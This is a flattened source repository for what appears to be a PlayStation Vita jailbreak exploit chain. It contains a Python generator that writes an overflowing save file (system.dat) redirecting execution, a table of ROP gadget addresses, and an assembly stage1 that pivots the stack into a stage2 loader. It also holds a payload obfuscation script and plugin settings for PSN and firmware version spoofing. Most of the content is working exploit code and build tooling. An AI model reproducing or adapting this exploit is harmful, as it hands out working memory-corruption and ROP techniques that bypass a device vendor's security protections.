├── bootstrap ├── res │ └── dummy ├── CMakeLists.txt ├── pspdebug.h ├── scr_printf.c ├── font.c └── bootstrap.c ├── .gitignore ├── .gitmodules ├── plugin ├── config.h ├── user.yml ├── kernel.yml ├── LICENSE ├── henkaku.h ├── taihen.json ├── CMakeLists.txt ├── henkaku_settings.xml ├── system_settings.xml ├── kernel.c ├── language.h └── user.c ├── stage1 ├── linker.x ├── Makefile └── stage1.S ├── stage2 ├── linker.x ├── Makefile ├── krop.S └── stage2.S ├── payload ├── linker.x ├── Makefile └── LICENSE ├── scripts ├── trim.py ├── obfuscate.py └── generate.py ├── include ├── constants.S ├── gadgets.S ├── functions.S └── macros.S ├── LICENSE ├── Makefile └── README.md /bootstrap/res/dummy: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | build 2 | *.o 3 | *.elf 4 | *.bin 5 | *.gz 6 | *.dat 7 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "taiHEN"] 2 | path = taiHEN 3 | url = git://github.com/TheOfficialFloW/taiHEN.git 4 | -------------------------------------------------------------------------------- /plugin/config.h: -------------------------------------------------------------------------------- 1 | #define BETA_RELEASE 0 2 | #define ENSO_RELEASE 0 3 | #define HENKAKU_RELEASE 2 4 | #define PSN_PASSPHRASE "" 5 | -------------------------------------------------------------------------------- /plugin/user.yml: -------------------------------------------------------------------------------- 1 | HENkakuUser: 2 | attributes: 0 3 | version: 4 | major: 1 5 | minor: 1 6 | main: 7 | start: module_start 8 | stop: module_stop 9 | -------------------------------------------------------------------------------- /stage1/linker.x: -------------------------------------------------------------------------------- 1 | OUTPUT_FORMAT("elf32-littlearm", "elf32-bigarm", "elf32-littlearm") 2 | OUTPUT_ARCH(arm) 3 | 4 | ENTRY(_start) 5 | 6 | SECTIONS 7 | { 8 | . = 0x810c0dfc; 9 | } 10 | -------------------------------------------------------------------------------- /stage2/linker.x: -------------------------------------------------------------------------------- 1 | OUTPUT_FORMAT("elf32-littlearm", "elf32-bigarm", "elf32-littlearm") 2 | OUTPUT_ARCH(arm) 3 | 4 | ENTRY(_start) 5 | 6 | SECTIONS 7 | { 8 | . = 0x81e82000; 9 | } 10 | -------------------------------------------------------------------------------- /plugin/kernel.yml: -------------------------------------------------------------------------------- 1 | HENkaku: 2 | attributes: 0 3 | version: 4 | major: 1 5 | minor: 1 6 | main: 7 | start: module_start 8 | stop: module_stop 9 | modules: 10 | HENkaku: 11 | syscall: true 12 | functions: 13 | - henkaku_reload_config 14 | -------------------------------------------------------------------------------- /stage1/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = stage1 2 | OBJS = stage1.o 3 | 4 | PREFIX = arm-vita-eabi 5 | CC = $(PREFIX)-gcc 6 | AS = $(PREFIX)-as 7 | OBJCOPY = $(PREFIX)-objcopy 8 | CFLAGS = 9 | LDFLAGS = -T linker.x -nostartfiles 10 | 11 | all: $(TARGET).bin 12 | 13 | %.bin: %.elf 14 | $(OBJCOPY) -S -O binary $^ $@ 15 | 16 | $(TARGET).elf: $(OBJS) 17 | $(CC) $(CFLAGS) $^ -o $@ $(LDFLAGS) 18 | 19 | clean: 20 | @rm -f $(TARGET).bin $(TARGET).elf $(OBJS) 21 | -------------------------------------------------------------------------------- /stage2/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = stage2 2 | OBJS = stage2.o 3 | 4 | PREFIX = arm-vita-eabi 5 | CC = $(PREFIX)-gcc 6 | AS = $(PREFIX)-as 7 | OBJCOPY = $(PREFIX)-objcopy 8 | CFLAGS = 9 | LDFLAGS = -T linker.x -nostartfiles 10 | 11 | all: $(TARGET).bin 12 | 13 | %.bin: %.elf 14 | $(OBJCOPY) -S -O binary $^ $@ 15 | 16 | $(TARGET).elf: $(OBJS) 17 | $(CC) $(CFLAGS) $^ -o $@ $(LDFLAGS) 18 | 19 | clean: 20 | @rm -f $(TARGET).bin $(TARGET).elf $(OBJS) 21 | -------------------------------------------------------------------------------- /payload/linker.x: -------------------------------------------------------------------------------- 1 | OUTPUT_FORMAT("elf32-littlearm", "elf32-bigarm", "elf32-littlearm") 2 | OUTPUT_ARCH(arm) 3 | 4 | ENTRY(_start) 5 | 6 | SECTIONS 7 | { 8 | .text : { *(.text.start) *(.text .text.* .gnu.linkonce.t.*) *(.sceStub.text.*) } 9 | .rodata : { *(.rodata .rodata.* .gnu.linkonce.r.*) } 10 | .data : { *(.data .data.* .gnu.linkonce.d.*) } 11 | .bss : { *(.bss .bss.* .gnu.linkonce.b.*) *(COMMON) } 12 | /DISCARD/ : { *(.interp) *(.dynsym) *(.dynstr) *(.hash) *(.dynamic) *(.comment) } 13 | } 14 | -------------------------------------------------------------------------------- /payload/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = payload 2 | OBJS = payload.o 3 | 4 | PREFIX = arm-vita-eabi 5 | CC = $(PREFIX)-gcc 6 | AS = $(PREFIX)-as 7 | OBJCOPY = $(PREFIX)-objcopy 8 | CFLAGS = -fPIE -fno-zero-initialized-in-bss -std=c99 -mcpu=cortex-a9 -Os -mthumb 9 | LDFLAGS = -T linker.x -nostartfiles -nostdlib -pie 10 | 11 | all: $(TARGET).bin 12 | 13 | %.bin: %.elf 14 | $(OBJCOPY) -S -O binary $^ $@ 15 | 16 | $(TARGET).elf: $(OBJS) 17 | $(CC) $(CFLAGS) $^ -o $@ $(LDFLAGS) 18 | 19 | clean: 20 | @rm -f $(TARGET).bin $(TARGET).elf $(OBJS) 21 | -------------------------------------------------------------------------------- /scripts/trim.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | from sys import argv, exit 3 | import struct 4 | 5 | def main(): 6 | if len(argv) != 2: 7 | print("Usage: trim.py binary") 8 | return -1 9 | 10 | with open(argv[1], "rb") as f: 11 | data = f.read() 12 | 13 | new_len = len(data) 14 | if new_len < 4: 15 | return -1 16 | 17 | for i in range(new_len-4, 0, -4): 18 | word, = struct.unpack(" ../stage2/payload.bin.gz 8 | cd stage2; make 9 | cd stage1; make 10 | ./scripts/obfuscate.py stage1/stage1.bin 1 11 | ./scripts/obfuscate.py stage2/stage2.bin 2 12 | ./scripts/trim.py stage2/stage2.bin 13 | ./scripts/generate.py stage1/stage1.bin stage2/stage2.bin system.dat 14 | 15 | henkaku: 16 | cd taiHEN; mkdir build; cd build; cmake ..; make; cp taihen.skprx ../../bootstrap/res/taihen.skprx 17 | cd plugin; mkdir build; cd build; cmake ..; make; cp henkaku.skprx ../../bootstrap/res/henkaku.skprx; cp henkaku.suprx ../../bootstrap/res/henkaku.suprx 18 | 19 | menu: 20 | cd bootstrap; mkdir build; cd build; cmake ..; make; xxd -i bootstrap.self > ../../payload/bootstrap.h 21 | 22 | clean: 23 | -rm system.dat 24 | -rm -rf taiHEN/build 25 | -rm -rf plugin/build 26 | -rm -rf bootstrap/build 27 | -rm bootstrap/res/taihen.skprx 28 | -rm bootstrap/res/henkaku.skprx 29 | -rm bootstrap/res/henkaku.suprx 30 | -rm payload/bootstrap.h 31 | -rm stage2/payload.bin.gz 32 | cd payload; make clean 33 | cd stage2; make clean 34 | cd stage1; make clean 35 | -------------------------------------------------------------------------------- /plugin/henkaku.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @brief Internal functions and defines 3 | */ 4 | #ifndef HENKAKU_HEADER 5 | #define HENKAKU_HEADER 6 | 7 | #include 8 | 9 | // TODO: Move to sdk 10 | int sceClibPrintf(const char *fmt, ...); 11 | int sceClibSnprintf(char *buf, size_t len, const char *fmt, ...); 12 | 13 | int henkaku_reload_config(void); 14 | int taiReloadConfig(void); 15 | 16 | /** Logging function */ 17 | #ifdef ENABLE_LOGGING 18 | #ifdef __VITA_KERNEL__ 19 | #define LOG(fmt, ...) printf("[%s:%d] " fmt "\n", __FUNCTION__, __LINE__, ##__VA_ARGS__) 20 | #else 21 | #define LOG(fmt, ...) sceClibPrintf("[%s:%d] " fmt "\n", __FUNCTION__, __LINE__, ##__VA_ARGS__) 22 | #endif 23 | #else 24 | #define LOG(fmt, ...) 25 | #endif 26 | 27 | /** Config */ 28 | typedef struct { 29 | uint32_t magic; 30 | uint32_t version; 31 | uint32_t use_psn_spoofing; 32 | uint32_t allow_unsafe_hb; 33 | uint32_t use_spoofed_version; 34 | uint32_t spoofed_version; 35 | } __attribute__((packed)) henkaku_config_t; 36 | 37 | #define HENKAKU_CONFIG_MAGIC (0x4C434C4D) 38 | #define CONFIG_PATH "ur0:tai/henkaku_config.bin" 39 | #define OLD_CONFIG_PATH "ux0:temp/app_work/MLCL00001/rec/config.bin" 40 | #define SPOOF_VERSION (0x3700000) 41 | 42 | #endif // HENKAKU_HEADER 43 | -------------------------------------------------------------------------------- /stage1/stage1.S: -------------------------------------------------------------------------------- 1 | /* stage1.S -- load and execute stage2 2 | * 3 | * Copyright (C) 2018 TheFloW 4 | * 5 | * This software may be modified and distributed under the terms 6 | * of the MIT license. See the LICENSE file for details. 7 | */ 8 | 9 | .include "../include/constants.S" 10 | .include "../include/functions.S" 11 | .include "../include/gadgets.S" 12 | .include "../include/macros.S" 13 | 14 | // stage2 information 15 | .equ STAGE2_ADDRESS, 0x81e82000 16 | .equ STAGE2_SIZE, 0x30000 17 | 18 | .global _start 19 | _start: 20 | // Create a new thread whose stack base address should be at 0x81e81000 21 | call_vvvvvvv sceKernelCreateThread, empty_string, pop_pc, SCE_KERNEL_DEFAULT_PRIORITY, 0x40000, 0, 0, NULL 22 | store_rv ret, thread_id 23 | 24 | // Load stage2 25 | call_vvv sceIoOpen, savedata0_system_dat_path, SCE_O_RDONLY, 0 26 | store_rv ret, system_dat_fd 27 | call_lvv sceIoRead, system_dat_fd, STAGE2_ADDRESS - (0x48 + 0x4 + _end - _start), STAGE2_SIZE 28 | call_l sceIoClose, system_dat_fd 29 | 30 | // Start thread and stack pivot 31 | call_lvv sceKernelStartThread, thread_id, thread_rop_end - thread_rop_start, thread_rop_start 32 | 33 | // Exit and delete thread 34 | call_v sceKernelExitDeleteThread, 0 35 | 36 | // Data section 37 | 38 | // Thread rop chain 39 | thread_rop_start: 40 | set_r0_r2_ip_sp_lr_pc ldm_data_r0 41 | thread_rop_end: 42 | 43 | // ldm data for setting sp 44 | ldm_data_r0: .word 0xDEADBEEF // r0 45 | .word 0xDEADBEEF // r2 46 | .word 0xDEADBEEF // ip 47 | .word STAGE2_ADDRESS // sp 48 | .word 0xDEADBEEF // lr 49 | .word pop_pc // pc 50 | 51 | // Thread id 52 | thread_id: .word 0xDEADBEEF 53 | 54 | // stage2 fd 55 | system_dat_fd: .word 0xDEADBEEF 56 | 57 | _end: 58 | -------------------------------------------------------------------------------- /scripts/obfuscate.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | from sys import argv, exit 3 | import random 4 | import struct 5 | 6 | gadgets = [ 7 | 0x8102a2f3, 8 | 0x8102a3d3, 9 | 0x81005579, 10 | 0x8100a107, 11 | 0x8100a16b, 12 | 0x8100717b, 13 | 0x8102978d, 14 | 0x81000c69, 15 | 0x810321ed, 16 | 0x810321fd, 17 | 0x81021795, 18 | 0x81000065, 19 | 0x8102675d, 20 | 0x81000bf5, 21 | 0x81026bad, 22 | ] 23 | 24 | def main(): 25 | if len(argv) != 3: 26 | print("Usage: obfuscate.py binary stage_number") 27 | return -1 28 | 29 | if argv[2] == "1": 30 | random.seed(42) 31 | else: 32 | random.seed(69) 33 | 34 | with open(argv[1], "rb") as f: 35 | data = bytearray(f.read()) 36 | 37 | for i in range(0, len(data), 4): 38 | word, = struct.unpack("= 2 and random_choice < 4: 49 | random_number = random.randrange(0x8102f294, 0x81030044, 0x10) 50 | elif random_choice >= 4 and random_choice < 6: 51 | random_number = random.randint(0x81000000, 0x8102f294) | 0x1 52 | else: 53 | random_number = random.choice(gadgets) 54 | random_gadget = struct.pack("I", random_number) 55 | valid = True 56 | if argv[2] == "1" and random_number == 0xffff: 57 | valid = False 58 | data[(i):(i+4)] = random_gadget 59 | 60 | open(argv[1], "wb").write(data) 61 | 62 | if __name__ == "__main__": 63 | exit(main()) 64 | -------------------------------------------------------------------------------- /plugin/taihen.json: -------------------------------------------------------------------------------- 1 | { 2 | "taihen": { 3 | "nid": 910080232, 4 | "modules": { 5 | "taihen": { 6 | "nid": 540875304, 7 | "kernel": false, 8 | "functions": { 9 | "taiHookFunctionExportForUser": 2269553102, 10 | "taiHookFunctionImportForUser": 1399025245, 11 | "taiHookFunctionOffsetForUser": 87368282, 12 | "taiGetModuleInfo": 2777256836, 13 | "taiHookRelease": 472967065, 14 | "taiInjectAbs": 1247316228, 15 | "taiInjectDataForUser": 3458578876, 16 | "taiInjectRelease": 564447398 17 | }, 18 | "variables": { 19 | } 20 | }, 21 | "taihenForKernel": { 22 | "nid": 3487819968, 23 | "kernel": true, 24 | "functions": { 25 | "taiHookFunctionAbs": 3605329551, 26 | "taiHookFunctionExportForKernel": 1171062720, 27 | "taiHookFunctionImportForKernel": 1159321730, 28 | "taiHookFunctionOffsetForKernel": 2402393463, 29 | "taiGetModuleInfoForKernel": 1855132055, 30 | "taiHookReleaseForKernel": 3525736650, 31 | "taiInjectAbsForKernel": 4230976111, 32 | "taiInjectDataForKernel": 2678390840, 33 | "taiInjectReleaseForKernel": 1371225801, 34 | "taiLoadPluginsForTitleForKernel": 2621581546 35 | }, 36 | "variables": { 37 | } 38 | }, 39 | "taihenUnsafe": { 40 | "nid": 2998301478, 41 | "kernel": false, 42 | "functions": { 43 | "taiLoadKernelModule": 3603990244, 44 | "taiStartKernelModuleForUser": 2850755214, 45 | "taiLoadStartKernelModuleForUser": 2559617235, 46 | "taiLoadStartModuleForPidForUser": 3897797579, 47 | "taiStopUnloadKernelModuleForUser": 1277030648, 48 | "taiUnloadKernelModule": 1275696130, 49 | "taiMemcpyUserToKernel": 4138861294, 50 | "taiMemcpyKernelToUser": 2310758437 51 | }, 52 | "variables": { 53 | } 54 | } 55 | } 56 | } 57 | } -------------------------------------------------------------------------------- /bootstrap/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 2.8) 2 | 3 | if(NOT DEFINED CMAKE_TOOLCHAIN_FILE) 4 | if(DEFINED ENV{VITASDK}) 5 | set(CMAKE_TOOLCHAIN_FILE "$ENV{VITASDK}/share/vita.toolchain.cmake" CACHE PATH "toolchain file") 6 | else() 7 | message(FATAL_ERROR "Please define VITASDK to point to your SDK path!") 8 | endif() 9 | endif() 10 | 11 | project(bootstrap) 12 | include("${VITASDK}/share/vita.cmake" REQUIRED) 13 | 14 | set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -Wall -Os -Wno-unused-variable -Wno-unused-but-set-variable") 15 | set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -std=c++11 -fno-rtti -fno-exceptions") 16 | 17 | include_directories( 18 | ) 19 | 20 | link_directories( 21 | ${CMAKE_CURRENT_BINARY_DIR} 22 | ) 23 | 24 | # Builds 25 | FUNCTION(ADD_RESOURCES out_var) 26 | SET(result) 27 | FOREACH(in_f ${ARGN}) 28 | SET(out_f "${CMAKE_CURRENT_BINARY_DIR}/${in_f}.o") 29 | GET_FILENAME_COMPONENT(out_dir ${out_f} DIRECTORY) 30 | ADD_CUSTOM_COMMAND(OUTPUT ${out_f} 31 | COMMAND ${CMAKE_COMMAND} -E make_directory ${out_dir} 32 | COMMAND ${CMAKE_LINKER} -r -b binary -o ${out_f} ${in_f} 33 | DEPENDS ${in_f} 34 | WORKING_DIRECTORY ${CMAKE_SOURCE_DIR} 35 | COMMENT "Building resource ${out_f}" 36 | VERBATIM 37 | ) 38 | LIST(APPEND result ${out_f}) 39 | ENDFOREACH() 40 | SET(${out_var} "${result}" PARENT_SCOPE) 41 | ENDFUNCTION() 42 | 43 | file(GLOB res_files RELATIVE 44 | ${CMAKE_SOURCE_DIR} 45 | res/* 46 | ) 47 | add_resources(henkaku_res ${res_files}) 48 | 49 | add_executable(bootstrap 50 | ${henkaku_res} 51 | bootstrap.c 52 | scr_printf.c 53 | font.c 54 | ) 55 | 56 | target_link_libraries(bootstrap 57 | gcc 58 | SceLibKernel_stub 59 | SceIofilemgr_stub 60 | SceKernelThreadMgr_stub 61 | SceSysmem_stub 62 | SceProcessmgr_stub 63 | SceDisplay_stub 64 | SceNet_stub 65 | SceNetCtl_stub 66 | SceHttp_stub 67 | SceSsl_stub 68 | SceShellSvc_stub 69 | SceCtrl_stub 70 | SceSysmodule_stub 71 | SceAppMgr_stub 72 | SceAppUtil_stub 73 | ScePromoterUtil_stub 74 | SceRegistryMgr_stub 75 | ) 76 | 77 | set_target_properties(bootstrap 78 | PROPERTIES LINK_FLAGS "-nostdlib" 79 | ) 80 | 81 | vita_create_self(bootstrap.self bootstrap UNSAFE) 82 | -------------------------------------------------------------------------------- /include/gadgets.S: -------------------------------------------------------------------------------- 1 | /* gadgets.S -- rop gadgets 2 | * 3 | * Copyright (C) 2018 TheFloW 4 | * 5 | * This software may be modified and distributed under the terms 6 | * of the MIT license. See the LICENSE file for details. 7 | */ 8 | 9 | // call 10 | .equ blx_r0_add_sp_4_pop_pc, 0x8102a2f3 11 | .equ blx_r0_add_sp_14_pop_pc, 0x8102a3d3 12 | .equ blx_r1_add_sp_4_pop_pc, 0x81005579 13 | .equ blx_r2_add_sp_c_pop_pc, 0x8100a107 14 | .equ blx_r3_add_sp_14_pop_pc, 0x8100a16b 15 | .equ blx_lr_add_sp_14_pop_pc, 0x8100a1cb 16 | 17 | // load 18 | .equ pop_pc, 0x810002c1 19 | .equ pop_r0_r1_r2_r4_pc, 0x810321ed 20 | .equ pop_r0_r1_r2_r3_r4_r5_r7_pc, 0x810321fd 21 | .equ pop_r3_r5_pc, 0x81021795 22 | .equ pop_r4_pc, 0x81000065 23 | .equ pop_r4_r5_r6_r7_r8_sb_pc, 0x8102675d 24 | .equ ldm_sp_r0_r1_add_sp_c_pop_pc, 0x81026bad 25 | .equ ldm_r0_r0_r2_ip_sp_lr_pc, 0x8102aac0 // arm 26 | .equ ldm_r8_r0_r1_r4_r5_sl_ip_lr_pc, 0x8103a66c // arm 27 | .equ ldr_r0_sp_add_sp_4_pop_pc, 0x81000bf5 28 | .equ ldr_r0_r0_bx_lr, 0x81005843 29 | 30 | // store 31 | .equ str_r0_r1_add_sp_4_pop_pc, 0x8100717b 32 | 33 | // move 34 | .equ mov_r0_r4_blx_lr, 0x8100914b 35 | .equ mov_r1_r4_blx_r3, 0x8100a701 36 | .equ movs_r1_r0_pop_r4_pc, 0x8102978d 37 | .equ movs_r2_r4_add_sp_8_bx_lr, 0x8102d339 38 | .equ movs_r4_r0_add_sp_c_pop_pc, 0x81000c69 39 | 40 | // arithmetic 41 | .equ add_r0_r1_add_sp_10_bx_lr, 0x8102daa7 42 | .equ adcs_r0_lr_r5_lsl_12_pop_pc, 0x810111a9 43 | .equ adds_r1_r1_r3_add_r0_r2_r1_bx_lr, 0x8102ea0f 44 | .equ add_sp_14_pop_pc, 0x81000d5f 45 | .equ subs_r1_r4_r1_blx_r3, 0x8102f1fd 46 | .equ muls_r0_r2_r0_subs_r3_r3_r0_bx_lr, 0x8102c21b 47 | 48 | // logical 49 | .equ eors_r4_r0_movt_r0_8103_bx_lr, 0x8102e5fb 50 | 51 | // compare 52 | .equ cmp_eq_r0_r1_add_sp_8_bx_lr, 0x8101f581 53 | 54 | // misc 55 | .equ vdispEnd, 0x81001e33 56 | .equ vdispSetState, 0x81001efb 57 | .equ vdispCtrl, 0x8103c9f8 58 | .equ empty_string, 0x81000006 59 | .equ savedata0_system_dat_path, 0x81035614 60 | -------------------------------------------------------------------------------- /scripts/generate.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | from sys import argv, exit 3 | import random 4 | import struct 5 | 6 | gadgets = [ 7 | 0x8102a2f3, 8 | 0x8102a3d3, 9 | 0x81005579, 10 | 0x8100a107, 11 | 0x8100a16b, 12 | 0x8100717b, 13 | 0x8102978d, 14 | 0x81000c69, 15 | 0x810321ed, 16 | 0x810321fd, 17 | 0x81021795, 18 | 0x81000065, 19 | 0x8102675d, 20 | 0x81000bf5, 21 | 0x81026bad, 22 | ] 23 | 24 | def gen_random_gadget(): 25 | random_gadget = 0 26 | valid = False 27 | while not valid: 28 | random_choice = random.randint(0, 10) 29 | if random_choice == 0: 30 | random_number = random.randrange(0x810c0d00, 0x810c1000, 0x04) 31 | elif random_choice == 1: 32 | random_number = random.randrange(0x81e82000, 0x81ea2000, 0x04) 33 | elif random_choice >= 2 and random_choice < 4: 34 | random_number = random.randrange(0x8102f294, 0x81030044, 0x10) 35 | elif random_choice >= 4 and random_choice < 6: 36 | random_number = random.randint(0x81000000, 0x8102f294) | 0x1 37 | else: 38 | random_number = random.choice(gadgets) 39 | random_gadget = struct.pack("I", random_number) 40 | valid = True 41 | if random_number == 0xffff: 42 | valid = False 43 | else: 44 | for j in range(0, 4): 45 | byte = random_gadget[j] 46 | if byte == "\x0A" or byte == "\x0D": 47 | valid = False 48 | break 49 | return random_gadget 50 | 51 | def main(): 52 | if len(argv) != 4: 53 | print("Usage: gen.py stage1.bin stage2.bin system.dat") 54 | return -1 55 | 56 | random.seed(1337) 57 | 58 | with open(argv[1], "rb") as fin: 59 | stage1 = fin.read() 60 | with open(argv[2], "rb") as fin: 61 | stage2 = fin.read() 62 | with open(argv[3], "wb") as fout: 63 | # write 0x38 bytes of random gadgets 64 | for i in range(0, 0x38, 4): 65 | fout.write(gen_random_gadget()) 66 | # write overflow which redirects destination 67 | fout.write(struct.pack("I", 0x810c0dfa)) 68 | # write random gadget 69 | fout.write(gen_random_gadget()) 70 | # write offset 71 | fout.write(struct.pack("I", 0)) 72 | # write newline delimiter 73 | fout.write(struct.pack("H", 0x000a)) 74 | # write dummy 75 | fout.write(struct.pack("H", 0x8123)) 76 | # write stage1 77 | fout.write(stage1) 78 | # write eof 79 | fout.write(struct.pack("H", 0xffff)) 80 | # write dummy 81 | fout.write(struct.pack("H", 0x8123)) 82 | # write stage2 83 | fout.write(stage2) 84 | 85 | if __name__ == "__main__": 86 | exit(main()) 87 | -------------------------------------------------------------------------------- /plugin/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 2.8) 2 | 3 | if(NOT DEFINED CMAKE_TOOLCHAIN_FILE) 4 | if(DEFINED ENV{VITASDK}) 5 | set(CMAKE_TOOLCHAIN_FILE "$ENV{VITASDK}/share/vita.toolchain.cmake" CACHE PATH "toolchain file") 6 | else() 7 | message(FATAL_ERROR "Please define VITASDK to point to your SDK path!") 8 | endif() 9 | endif() 10 | 11 | project(HENkaku) 12 | include("${VITASDK}/share/vita.cmake" REQUIRED) 13 | 14 | set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -Wl,-q -Wall -fshort-wchar -O3 -std=gnu99") 15 | set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -std=c++11 -fno-rtti -fno-exceptions") 16 | 17 | include_directories( 18 | ) 19 | 20 | link_directories( 21 | ${CMAKE_CURRENT_BINARY_DIR}/henkaku-stubs 22 | ) 23 | 24 | if (NOT ${RELEASE}) 25 | add_definitions(-DENABLE_LOGGING) 26 | endif() 27 | 28 | # Builds 29 | function(ADD_RESOURCES out_var) 30 | set(result) 31 | foreach(in_f ${ARGN}) 32 | set(out_f "${CMAKE_CURRENT_BINARY_DIR}/${in_f}.o") 33 | get_filename_component(out_dir ${out_f} DIRECTORY) 34 | add_custom_command(OUTPUT ${out_f} 35 | COMMAND ${CMAKE_COMMAND} -E make_directory ${out_dir} 36 | COMMAND ${CMAKE_LINKER} -r -b binary -o ${out_f} ${in_f} 37 | DEPENDS ${in_f} 38 | WORKING_DIRECTORY ${CMAKE_SOURCE_DIR} 39 | COMMENT "Building resource ${out_f}" 40 | VERBATIM 41 | ) 42 | list(APPEND result ${out_f}) 43 | endforeach() 44 | set(${out_var} "${result}" PARENT_SCOPE) 45 | endfunction() 46 | 47 | file(GLOB res_files RELATIVE ${CMAKE_SOURCE_DIR} *.xml) 48 | add_resources(xml_res ${res_files}) 49 | 50 | add_executable(user 51 | ${xml_res} 52 | user.c 53 | ) 54 | 55 | add_executable(kernel 56 | kernel.c 57 | ) 58 | 59 | target_link_libraries(user 60 | taihen_stub 61 | HENkaku_stub 62 | SceLibKernel_stub 63 | SceIofilemgr_stub 64 | SceRegistryMgr_stub 65 | ScePower_stub 66 | SceVshBridge_stub 67 | ) 68 | 69 | target_link_libraries(kernel 70 | gcc 71 | taihenForKernel_stub 72 | SceSysmemForDriver_stub 73 | SceSysclibForDriver_stub 74 | SceIofilemgrForDriver_stub 75 | SceDebugForDriver_stub 76 | SceThreadmgrForDriver_stub 77 | ) 78 | 79 | add_dependencies(user henkaku-stubs) 80 | 81 | set_target_properties(kernel 82 | PROPERTIES LINK_FLAGS "-nostdlib" 83 | COMPILE_FLAGS "-D__VITA_KERNEL__" 84 | ) 85 | 86 | set_target_properties(user 87 | PROPERTIES LINK_FLAGS "-nostdlib" 88 | ) 89 | 90 | vita_create_self(henkaku.skprx kernel 91 | UNSAFE 92 | CONFIG ${CMAKE_SOURCE_DIR}/kernel.yml 93 | ) 94 | vita_create_stubs(henkaku-stubs kernel ${CMAKE_SOURCE_DIR}/kernel.yml 95 | KERNEL 96 | ) 97 | vita_create_self(henkaku.suprx user 98 | UNSAFE 99 | CONFIG ${CMAKE_SOURCE_DIR}/user.yml 100 | ) 101 | 102 | install(DIRECTORY ${CMAKE_BINARY_DIR}/henkaku-stubs/ 103 | DESTINATION lib 104 | FILES_MATCHING PATTERN "*.a" 105 | ) 106 | -------------------------------------------------------------------------------- /plugin/henkaku_settings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 11 | 12 | 13 | 18 | 19 | 20 | 24 | 25 | 26 | 32 | 33 | 34 | 38 | 41 | 44 | 45 | 46 | 47 | 53 | 54 | 55 | 56 | 57 |